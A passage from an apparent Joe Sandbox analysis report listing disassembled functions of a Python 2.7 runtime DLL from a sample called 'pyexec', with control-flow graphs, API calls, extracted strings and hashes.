                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,Error,00000000,locale.Error,00000000,00000000), ref: 67010032
                                                                                                                                                                    • PyString_FromString.PYTHON27(Support for POSIX locales.,00000000,Error,00000000,locale.Error,00000000,00000000), ref: 6701003C
                                                                                                                                                                    • PyDict_SetItemString.PYTHON27(00000000,__doc__,00000000,Support for POSIX locales.,00000000,Error,00000000,locale.Error,00000000,00000000), ref: 6701004A
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Dict_FromItem$Int_Long$Err_String_$DictExceptionFormatInitModule4Module_SubtypeType_
                                                                                                                                                                    • String ID: CHAR_MAX$Error$LC_ALL$LC_COLLATE$LC_CTYPE$LC_MONETARY$LC_NUMERIC$LC_TIME$Support for POSIX locales.$__doc__$_locale$locale.Error
                                                                                                                                                                    • API String ID: 215864015-3707555184
                                                                                                                                                                    • Opcode ID: 5c3bb8b4b3c8c3aa447f6bdd8572ba3e3ad43e17cc058314ac008c3a22deec61
                                                                                                                                                                    • Instruction ID: b2c8fa1315211268463438bb185793deb759df9f3a7870e826434d4de2527b25
                                                                                                                                                                    • Opcode Fuzzy Hash: 5c3bb8b4b3c8c3aa447f6bdd8572ba3e3ad43e17cc058314ac008c3a22deec61
                                                                                                                                                                    • Instruction Fuzzy Hash: 4E41F4729005026FE20056649C45F7B36789FDEB38F200314EA385B3C5EB36EA1296B7
                                                                                                                                                                    Function 6700E6F0 Relevance: 52.9, APIs: 26, Strings: 4, Instructions: 420COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 607 6700e6f0-6700e70c 608 6700e723-6700e735 PyString_FromString 607->608 609 6700e70e-6700e714 607->609 611 6700e737-6700e739 608->611 612 6700e73b-6700e747 PyString_InternInPlace 608->612 609->608 610 6700e716-6700e71d 609->610 610->608 614 6700e7c7-6700e7cd 610->614 613 6700e74a-6700e761 PyString_FromString 611->613 612->613 615 6700e763-6700e765 613->615 616 6700e767-6700e773 PyString_InternInPlace 613->616 617 6700e7e3-6700e7ee 614->617 618 6700e7cf-6700e7e2 PyList_Append 614->618 619 6700e776-6700e78d PyString_FromString 615->619 616->619 620 6700e7f0-6700e800 PyLong_FromVoidPtr 617->620 621 6700e858-6700e86d PyList_Append 617->621 624 6700e793-6700e79f PyString_InternInPlace 619->624 625 6700e78f-6700e791 619->625 626 6700e806-6700e818 PyDict_Contains 620->626 627 6700e9c8-6700e9d1 620->627 622 6700e9b3-6700e9b5 621->622 623 6700e873-6700e879 621->623 622->627 631 6700e9b7-6700e9ba 622->631 628 6700e87b 623->628 629 6700e87e-6700e88f PyObject_GetIter 623->629 630 6700e7a2-6700e7ad 624->630 625->630 632 6700e81a-6700e81d 626->632 633 6700e83c-6700e852 PyDict_SetItem 626->633 628->629 629->622 635 6700e895-6700e8a9 PyObject_IsTrue 629->635 630->627 636 6700e7b3-6700e7b9 630->636 631->627 637 6700e9bc-6700e9c5 631->637 632->622 634 6700e823-6700e837 PyErr_SetString 632->634 633->621 633->622 634->622 638 6700e957-6700e95d 635->638 639 6700e8af-6700e8c2 PyIter_Next 635->639 636->627 640 6700e7bf-6700e7c1 636->640 637->627 644 6700e96b 638->644 645 6700e95f-6700e968 638->645 642 6700e8c8 639->642 643 6700eb2d-6700eb37 639->643 640->614 640->627 646 6700e8d0-6700e8dc 642->646 643->638 647 6700eb3d-6700eb43 643->647 648 6700e96e-6700e970 644->648 645->644 649 6700ea01-6700ea03 646->649 650 6700e8e2-6700e8e8 646->650 651 6700eb51-6700eb56 647->651 652 6700eb45-6700eb4e 647->652 654 6700e972-6700e975 648->654 655 6700e983-6700e988 648->655 658 6700ea06-6700ea0a 649->658 659 6700e9e8-6700e9f9 call 6700e2a0 650->659 660 6700e8ee-6700e8fe PyType_IsSubtype 650->660 661 6700eb85-6700eb99 PyList_Append 651->661 662 6700eb58-6700eb6a PyDict_DelItem 651->662 652->651 654->655 663 6700e977-6700e980 654->663 656 6700e98a-6700e98d 655->656 657 6700e99b-6700e9a0 655->657 656->657 665 6700e98f-6700e998 656->665 657->622 668 6700e9a2-6700e9a5 657->668 669 6700ea27-6700ea39 PyObject_GetItem 658->669 670 6700ea0c-6700ea21 PyList_Append 658->670 659->638 682 6700e9ff 659->682 660->659 671 6700e904-6700e90a 660->671 661->648 667 6700eb9f-6700eba5 661->667 662->648 664 6700eb70-6700eb77 662->664 663->655 664->661 673 6700eb79-6700eb82 664->673 665->657 668->622 676 6700e9a7-6700e9b0 668->676 669->638 677 6700ea3f-6700ea49 669->677 670->638 670->669 678 6700e910-6700e916 671->678 679 6700e9d2-6700e9e0 PyObject_Str 671->679 673->661 676->622 683 6700ea54-6700ea60 PyObject_CallFunctionObjArgs 677->683 684 6700ea4b-6700ea52 call 6700e340 677->684 685 6700e945-6700e951 call 6700e1e0 678->685 686 6700e918-6700e91e 678->686 679->638 680 6700e9e6 679->680 680->658 682->658 687 6700ea63-6700ea67 683->687 684->687 685->638 685->658 686->685 692 6700e920-6700e926 686->692 694 6700ea83-6700ea85 687->694 695 6700ea69-6700ea75 687->695 692->685 693 6700e928-6700e92b 692->693 698 6700e931-6700e934 693->698 699 6700eba6-6700ebba PyErr_SetString 693->699 694->638 701 6700ea8b-6700ea9a PyList_Append 694->701 695->694 700 6700ea77-6700ea80 695->700 702 6700eb17-6700eb27 PyIter_Next 698->702 703 6700e93a-6700e940 698->703 699->638 700->694 704 6700eaa0-6700eaa3 701->704 705 6700ebbf-6700ebc2 701->705 702->643 702->646 712 6700eb14 703->712 708 6700eab1-6700eac3 PyList_Append 704->708 709 6700eaa5-6700eaae 704->709 705->638 707 6700ebc8-6700ebd4 705->707 707->638 708->638 711 6700eac9-6700eae2 call 6700e3c0 708->711 709->708 711->638 717 6700eae8-6700eaf8 711->717 712->702 718 6700eb06-6700eb09 717->718 719 6700eafa-6700eb03 717->719 718->702 720 6700eb0b-6700eb11 718->720 719->718 720->712
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(6714C2B4,?,000000FE,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E728
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E73F
                                                                                                                                                                    • PyString_FromString.PYTHON27(6714C2B8,?,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E754
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?,?,?,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E76B
                                                                                                                                                                    • PyString_FromString.PYTHON27(6714C2BC,?,?,?,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E780
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?,?,?,?,?,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E797
                                                                                                                                                                    • PyList_Append.PYTHON27(?,?,?,?,?,?,?,?,?,?,6700E485,?,?,000000FE,?,?), ref: 6700E7D4
                                                                                                                                                                    • PyLong_FromVoidPtr.PYTHON27(?,?,?,?,?,?,?,?,?,6700E485,?,?,000000FE,?,?,?), ref: 6700E7F1
                                                                                                                                                                    • PyDict_Contains.PYTHON27(?,00000000,?,?,?,?,?,?,?,?,?,6700E485,?,?,000000FE,?), ref: 6700E80E
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245D10,Circular reference detected,?,?,?,?,?,?,?,?,?,?,?,6700E485,?,?), ref: 6700E82F
                                                                                                                                                                    • PyDict_SetItem.PYTHON27(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6700E485,?), ref: 6700E848
                                                                                                                                                                    • PyList_Append.PYTHON27(?,?,?,?,?,?,?,?,?,?,6700E485,?,?,000000FE,?,?), ref: 6700E863
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,6700E485,?,?,000000FE,?), ref: 6700E882
                                                                                                                                                                    • PyObject_IsTrue.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,6700E485,?,?,000000FE), ref: 6700E89C
                                                                                                                                                                    • PyIter_Next.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,6700E485,?,?), ref: 6700E8B6
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6700E485), ref: 6700E8F4
                                                                                                                                                                    • PyIter_Next.PYTHON27(?), ref: 6700EB1B
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String_$FromString$InternPlace$AppendDict_Iter_List_NextObject_$ContainsErr_ItemIterLong_SubtypeTrueType_Void
                                                                                                                                                                    • String ID: Circular reference detected$keys must be a string$2$g$c$g
                                                                                                                                                                    • API String ID: 570287457-2558646177
                                                                                                                                                                    • Opcode ID: 92adc319a2504c5ba531f2d651d4a26cc676fe30a7f09f2b4ba325465b2d94f1
                                                                                                                                                                    • Instruction ID: f2f4d63290951bce5ed465edaca20b8d71b23de5dde2007422587fdc405b9fd5
                                                                                                                                                                    • Opcode Fuzzy Hash: 92adc319a2504c5ba531f2d651d4a26cc676fe30a7f09f2b4ba325465b2d94f1
                                                                                                                                                                    • Instruction Fuzzy Hash: BCE191B59006059BEB00EFA4DC84B5E73F4AF5D334F104629E928A7241E735EA41CBF2
                                                                                                                                                                    Function 670AE530 Relevance: 52.8, APIs: 26, Strings: 4, Instructions: 297threadCOMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 722 670ae530-670ae558 723 670ae55a-670ae55c 722->723 724 670ae56d-670ae570 722->724 726 670ae55e-670ae56c call 670ae130 723->726 727 670ae572-670ae579 723->727 725 670ae57c-670ae58c PyString_FromStringAndSize 724->725 729 670ae58e-670ae593 725->729 730 670ae594-670ae59f 725->730 727->725 732 670ae5a0-670ae5b5 730->732 733 670ae5b7-670ae5c1 Py_FatalError 732->733 734 670ae5c4-670ae5cc 732->734 733->734 735 670ae5ce-670ae5da InterlockedDecrement 734->735 736 670ae5e6-670ae5e9 734->736 735->736 737 670ae5dc-670ae5e0 SetEvent 735->737 738 670ae5ef-670ae5fa 736->738 739 670ae6e0-670ae6f2 fgetc 736->739 737->736 740 670ae707-670ae70b 738->740 742 670ae600-670ae614 fgetc 738->742 739->740 741 670ae6f4-670ae700 739->741 744 670ae71a-670ae721 740->744 745 670ae70d-670ae717 Py_FatalError 740->745 741->740 743 670ae702-670ae705 741->743 746 670ae67a-670ae689 ferror 742->746 747 670ae616-670ae61a 742->747 743->739 743->740 750 670ae74b-670ae766 744->750 751 670ae723-670ae732 _errno 744->751 745->744 752 670ae68b-670ae694 _errno 746->752 753 670ae6cd-670ae6d1 746->753 748 670ae61c-670ae626 747->748 749 670ae642-670ae645 747->749 755 670ae628-670ae63a fgetc 748->755 756 670ae63e 748->756 757 670ae647-670ae653 749->757 758 670ae655-670ae658 749->758 761 670ae76c-670ae76f 750->761 762 670ae843-670ae84f 750->762 759 670ae743-670ae749 _errno 751->759 760 670ae734-670ae740 call 671479b0 751->760 752->753 763 670ae696-670ae6b8 PyEval_RestoreThread PyErr_CheckSignals 752->763 753->740 754 670ae6d3-670ae6d7 753->754 754->740 755->746 764 670ae63c 755->764 756->749 765 670ae65e-670ae66a 757->765 758->765 766 670ae65a 758->766 759->750 760->759 770 670ae7a9-670ae7ad 761->770 771 670ae771-670ae780 ferror 761->771 768 670ae862-670ae86b 762->768 769 670ae851-670ae860 _PyString_Resize 762->769 772 670ae6be-670ae6c8 clearerr 763->772 773 670ae813-670ae819 763->773 764->749 777 670ae66c-670ae66f 765->777 778 670ae671-670ae674 765->778 766->765 769->768 776 670ae894-670ae89c 769->776 770->762 774 670ae7b3-670ae7c8 770->774 780 670ae830-670ae841 clearerr PyErr_CheckSignals 771->780 781 670ae786-670ae78f _errno 771->781 772->732 775 670ae81b-670ae82f 773->775 773->776 784 670ae7ce-670ae7dd _PyString_Resize 774->784 785 670ae86c-670ae886 PyErr_SetString 774->785 777->742 777->778 778->740 778->746 780->762 780->773 782 670ae7fc-670ae810 PyErr_SetFromErrnoWithFilenameObject clearerr 781->782 783 670ae791-670ae798 PyErr_CheckSignals 781->783 782->773 783->773 787 670ae79a-670ae7a4 clearerr 783->787 784->776 788 670ae7e3-670ae7f7 784->788 785->776 786 670ae888-670ae891 785->786 786->776 787->732 788->732
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,?,?,?), ref: 670AE57F
                                                                                                                                                                    • Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate), ref: 670AE5BC
                                                                                                                                                                    • InterlockedDecrement.KERNEL32(?), ref: 670AE5D2
                                                                                                                                                                    • SetEvent.KERNEL32(00000000,?,?,?,?,?,?), ref: 670AE5E0
                                                                                                                                                                    • fgetc.MSVCR90 ref: 670AE60A
                                                                                                                                                                    • fgetc.MSVCR90 ref: 670AE630
                                                                                                                                                                    • ferror.MSVCR90 ref: 670AE67E
                                                                                                                                                                    • _errno.MSVCR90 ref: 670AE68B
                                                                                                                                                                    • PyEval_RestoreThread.PYTHON27(00000000,?,?,?,?,?,?,?,?), ref: 670AE69A
                                                                                                                                                                    • PyErr_CheckSignals.PYTHON27(?,?,?,?,?,?,?,?,?), ref: 670AE6B1
                                                                                                                                                                    • clearerr.MSVCR90(?,?,?,?,?,?,?,?,?,?), ref: 670AE6BF
                                                                                                                                                                      • Part of subcall function 670AE130: Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate), ref: 670AE181
                                                                                                                                                                      • Part of subcall function 670AE130: InterlockedDecrement.KERNEL32(?), ref: 670AE19C
                                                                                                                                                                      • Part of subcall function 670AE130: SetEvent.KERNEL32(00000000), ref: 670AE1AA
                                                                                                                                                                      • Part of subcall function 670AE130: memset.MSVCR90 ref: 670AE1BF
                                                                                                                                                                      • Part of subcall function 670AE130: fgets.MSVCR90 ref: 670AE1CD
                                                                                                                                                                      • Part of subcall function 670AE130: Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate), ref: 670AE1EA
                                                                                                                                                                      • Part of subcall function 670AE130: _errno.MSVCR90 ref: 670AE1FB
                                                                                                                                                                      • Part of subcall function 670AE130: InterlockedIncrement.KERNEL32(?), ref: 670AE219
                                                                                                                                                                      • Part of subcall function 670AE130: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 670AE22F
                                                                                                                                                                      • Part of subcall function 670AE130: GetCurrentThreadId.KERNEL32 ref: 670AE235
                                                                                                                                                                      • Part of subcall function 670AE130: _errno.MSVCR90 ref: 670AE244
                                                                                                                                                                      • Part of subcall function 670AE130: memchr.MSVCR90 ref: 670AE273
                                                                                                                                                                    Strings
                                                                                                                                                                    • d, xrefs: 670AE572
                                                                                                                                                                    • PyEval_RestoreThread: NULL tstate, xrefs: 670AE70D
                                                                                                                                                                    • PyEval_SaveThread: NULL tstate, xrefs: 670AE5B7
                                                                                                                                                                    • line is longer than a Python string can hold, xrefs: 670AE872
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFatalInterlocked_errno$DecrementEventThreadfgetc$CheckCurrentErr_Eval_FromIncrementObjectRestoreSignalsSingleSizeStringString_Waitclearerrferrorfgetsmemchrmemset
                                                                                                                                                                    • String ID: PyEval_RestoreThread: NULL tstate$PyEval_SaveThread: NULL tstate$d$line is longer than a Python string can hold
                                                                                                                                                                    • API String ID: 2239595103-3565407359
                                                                                                                                                                    • Opcode ID: fbebbcdac3d46e5e96f31d93a4b597b44e0f8df95809b45a7d6fa5ced82a5c72
                                                                                                                                                                    • Instruction ID: c7b11a89c7eec136a28d8aa060115b9654a63b53d2317755f73f519c355a3e9a
                                                                                                                                                                    • Opcode Fuzzy Hash: fbebbcdac3d46e5e96f31d93a4b597b44e0f8df95809b45a7d6fa5ced82a5c72
                                                                                                                                                                    • Instruction Fuzzy Hash: 11B1AF70D042059FDF00DFE8D886B9EB7F4BF09328F104666D925A3242E735EA55CBA2
                                                                                                                                                                    Function 6700A620 Relevance: 52.7, APIs: 11, Strings: 19, Instructions: 227COMMON
                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                    • Executed
                                                                                                                                                                    • Not Executed
                                                                                                                                                                    control_flow_graph 791 6700a620-6700a63d 792 6700a63f call 6700a5b0 791->792 793 6700a644-6700a648 792->793 794 6700a667-6700a683 call 670098b0 793->794 795 6700a64a-6700a65c PyErr_NoMemory 793->795 800 6700a685 794->800 801 6700a68a-6700a6a6 call 670098b0 794->801 797 6700a65e call 67148908 795->797 798 6700a663-6700a666 797->798 800->801 804 6700a6a8 801->804 805 6700a6ad-6700a6c9 call 670098b0 801->805 804->805 808 6700a6d0-6700a6f8 call 670098b0 * 2 805->808 809 6700a6cb 805->809 814 6700a6fa call 67100900 808->814 815 6700a6ff-6700a7b2 call 670098b0 free Py_GetBuildInfo PyOS_snprintf call 670098b0 PyOS_snprintf call 670098b0 _getcwd call 670098b0 PySys_GetObject 808->815 809->808 814->815 825 6700a8c6-6700a8e7 PyString_FromString PyErr_SetObject 815->825 826 6700a7b8-6700a7c2 815->826 827 6700a8e9-6700a8ec 825->827 828 6700a8fa-6700a906 825->828 826->825 829 6700a7c8-6700a7d3 826->829 827->828 830 6700a8ee-6700a8f7 827->830 831 6700a909 call 67148908 828->831 832 6700a7d5-6700a7e5 829->832 833 6700a83f-6700a84f 829->833 830->828 838 6700a90e-6700a911 831->838 834 6700a806 832->834 835 6700a7e7-6700a804 PyString_AsStringAndSize 832->835 836 6700a851 833->836 837 6700a85e-6700a877 833->837 839 6700a809-6700a80b 834->839 835->839 841 6700a852 call 67009700 836->841 842 6700a87a-6700a884 837->842 845 6700a828-6700a835 call 670098b0 839->845 846 6700a80d-6700a826 call 670098b0 PyErr_Clear 839->846 847 6700a857-6700a85c 841->847 843 6700a893-6700a8ac 842->843 844 6700a886 842->844 849 6700a8af-6700a8bb 843->849 848 6700a887 call 67009700 844->848 857 6700a838-6700a83d 845->857 846->857 847->837 847->842 852 6700a88c-6700a891 848->852 853 6700a8bd call 67148908 849->853 852->843 852->849 856 6700a8c2-6700a8c5 853->856 857->832 857->833
                                                                                                                                                                    APIs
                                                                                                                                                                      • Part of subcall function 6700A5B0: isdigit.MSVCR90 ref: 6700A5D4
                                                                                                                                                                      • Part of subcall function 6700A5B0: malloc.MSVCR90 ref: 6700A5F9
                                                                                                                                                                      • Part of subcall function 6700A5B0: memmove.MSVCR90(00000000,$Revision$,00000000), ref: 6700A60B
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27 ref: 6700A64A
                                                                                                                                                                      • Part of subcall function 67120380: PyErr_GivenExceptionMatches.PYTHON27(00000000,672467A8,?,670D7E82,00000000,6708B1D5,?,?,?,6708F66F,00000000,?,00000000,6708F785,00000000), ref: 67120396
                                                                                                                                                                      • Part of subcall function 67120380: PyErr_SetObject.PYTHON27(672467A8,?), ref: 671203B3
                                                                                                                                                                    • free.MSVCR90 ref: 6700A711
                                                                                                                                                                    • Py_GetBuildInfo.PYTHON27([MSC v.1500 32 bit (Intel)]), ref: 6700A71F
                                                                                                                                                                    • PyOS_snprintf.PYTHON27(67282138,000000FA,%.80s (%.80s) %.80s,2.7.18,00000000,[MSC v.1500 32 bit (Intel)]), ref: 6700A739
                                                                                                                                                                    • PyOS_snprintf.PYTHON27(?,00000104,%I64d,?,?,executable-version,67282138,67282138,000000FA,%.80s (%.80s) %.80s,2.7.18,00000000,[MSC v.1500 32 bit (Intel)]), ref: 6700A76B
                                                                                                                                                                    • _getcwd.MSVCR90 ref: 6700A78E
                                                                                                                                                                    • PySys_GetObject.PYTHON27(path,current-directory,00000000), ref: 6700A7A6
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$ObjectS_snprintf$BuildExceptionGivenInfoMatchesMemorySys__getcwdfreeisdigitmallocmemmove
                                                                                                                                                                    • String ID: %.80s (%.80s) %.80s$%I64d$2.7.18$<non-string-path-entry>$[MSC v.1500 32 bit (Intel)]$current-directory$executable$executable-version$hotshot-version$path$platform$reported-performance-frequency$requested-frame-timings$requested-line-events$requested-line-timings$sys-path-entry$sys.path must be a list$win32$yes
                                                                                                                                                                    • API String ID: 200927239-4293030901
                                                                                                                                                                    • Opcode ID: 35ca22e61750cb04dba064889ff37d74bc1da794dca6ad3fde983ce20f9eeb57
                                                                                                                                                                    • Instruction ID: dedaba9dae8fa47eda83ba7f67fd1ea30fdaa9c682e53bfdd81f174b392b7651
                                                                                                                                                                    • Opcode Fuzzy Hash: 35ca22e61750cb04dba064889ff37d74bc1da794dca6ad3fde983ce20f9eeb57
                                                                                                                                                                    • Instruction Fuzzy Hash: 4B7107F56006009FF220DA28CC85B5F73E4AB5C239F14452AF9598B245EB35DA4AC7F7
                                                                                                                                                                    Function 67125710 Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 409stringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • strchr.MSVCR90 ref: 6712575F
                                                                                                                                                                    • strchr.MSVCR90 ref: 6712577D
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006DD), ref: 671257E1
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,%s%s takes at most %d argument%s (%d given),?,6714AFEC,00000000,6714AF8E), ref: 6712582F
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 671258AF
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,00000000), ref: 671258C7
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,Argument given by name ('%s') and position (%d),?,?), ref: 67125904
                                                                                                                                                                    • PyErr_Format.PYTHON27(67245248,more argument specifiers than keyword list entries (remaining format:'%s'),?), ref: 67125A23
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,Required argument '%s' (pos %d) not found,?,?), ref: 67125A53
                                                                                                                                                                    • PyErr_Format.PYTHON27(67245248,More keyword list entries (%d) than format specifiers (%d),?,00000000), ref: 67125A9F
                                                                                                                                                                    • PyDict_Next.PYTHON27 ref: 67125AFD
                                                                                                                                                                    • PyString_AsString.PYTHON27(?,?,?,?,?), ref: 67125B26
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,'%s' is an invalid keyword argument for this function,00000000,?,?,?,?,?), ref: 67125B7A
                                                                                                                                                                    • PyDict_Next.PYTHON27(?,?,?,?,?,?,?,?,?), ref: 67125B9B
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,keywords must be strings,?,?,?,?), ref: 67125BDA
                                                                                                                                                                    Strings
                                                                                                                                                                    • function, xrefs: 67125819, 67125828
                                                                                                                                                                    • %s: '%s', xrefs: 67125A4D
                                                                                                                                                                    • more argument specifiers than keyword list entries (remaining format:'%s'), xrefs: 67125A1D
                                                                                                                                                                    • ..\Objects\dictobject.c, xrefs: 671257D6
                                                                                                                                                                    • More keyword list entries (%d) than format specifiers (%d), xrefs: 67125A99
                                                                                                                                                                    • '%s' is an invalid keyword argument for this function, xrefs: 67125B74
                                                                                                                                                                    • %s%s takes at most %d argument%s (%d given), xrefs: 67125829
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 671257DB
                                                                                                                                                                    • keywords must be strings, xrefs: 67125BD4
                                                                                                                                                                    • Argument given by name ('%s') and position (%d), xrefs: 671258FE
                                                                                                                                                                    • Required argument '%s' (pos %d) not found, xrefs: 67125A3A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
